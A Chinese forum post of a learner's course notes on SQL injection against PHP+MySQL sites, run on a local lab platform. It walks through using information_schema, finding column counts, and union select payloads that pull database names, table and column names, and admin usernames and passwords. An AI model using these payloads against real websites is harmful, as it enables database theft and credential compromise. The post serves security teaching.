ts7758258 发表于 2018-10-19 12:30:06

SQL注入漏洞的分析与利用(三)

MySQL数据库:
  元数据库information_schema
  1.在5.0以后版本的MySQL中存在着一个元数据库information_schema,其中存储着用户在MySQL中创建的所有其他数据库的信息
  2.在对php+mysql类网站进行注入时,主要就是针对information_schema数据库进行操作
  information_schema中比较重要的数据表
  1.schemata:用于存放所有数据库的名字
  2.tables:用于存放所有数据库中的数据表的名字
  3.columns:用于存放所有数据库的所有数据表中所有字段的名字

php+mysql注入
  实验环境:
  实验平台: NPMserv(必须放在根目录下使用)
  目标网站: 平台上的网站
  MySQL基本操作
  1.select version();查看mysql版本
  2.select user();查看当前用户
  3.select database(); 查看当前打开的数据库
  4.show database;查看mysql中共有那些数据库
  5.use test;   打开test数据库
  6.show tables;显示数据库中的表
  常规操作
  判断可显示字段
  union select 1,2,3,4
  MySQL中在执行联合查询时,后面的查询语句不必非要指定数据表名,这点区别于Access
  所以可执行:

  1.判断是否为注入点

  显示正常

  显示不正常
  由此可以判断出是一个注入点
  2.使用order by 猜出字段数

  可知字段数为4
  3.执行union查询

  不必非要指定数据表的名字

  在前面加一个and 1=2使得页面得出后面的内容
  因为元数据库只有在5.0版本之后才有,所以要得到数据库版本


  4.爆出敏感信息
  1.爆出当前用户名和数据库名
  union select 1,2,user(),database(),4
  2.爆出govcn数据库中包含的数据表
  union select 1,table_name,3,4 from information_schema.tables where table_schema="govcn"
  通过group_concat()函数可以显示字段中的所有内容。

  得出结果:

  5.利用information_schema查看其他数据库的内容
  1.查看test数据库中包含了那些表
  select table_name from information_schema.tables where table_schema="test";
  2.查看hack数据表中包含了哪些字段
  select column_name from information_schema.columns where table_name="hack";
  爆字段名:
  unionselect1,username,password,4 frominformation_schema.columns where table_name="admin"
  爆用户名和密码
  

union select 1,username,password,4 from admin  
union select 1,unhex(hex(username)),unhex(hex(password)),5 from admin
  

  利用unhex(hex())函数进行编码转换,解决网站编码不一致的问题

  我的博客是www.hellolb.top
  曲广平老师课程的学习笔记


页: [1]
查看完整版本: SQL注入漏洞的分析与利用(三)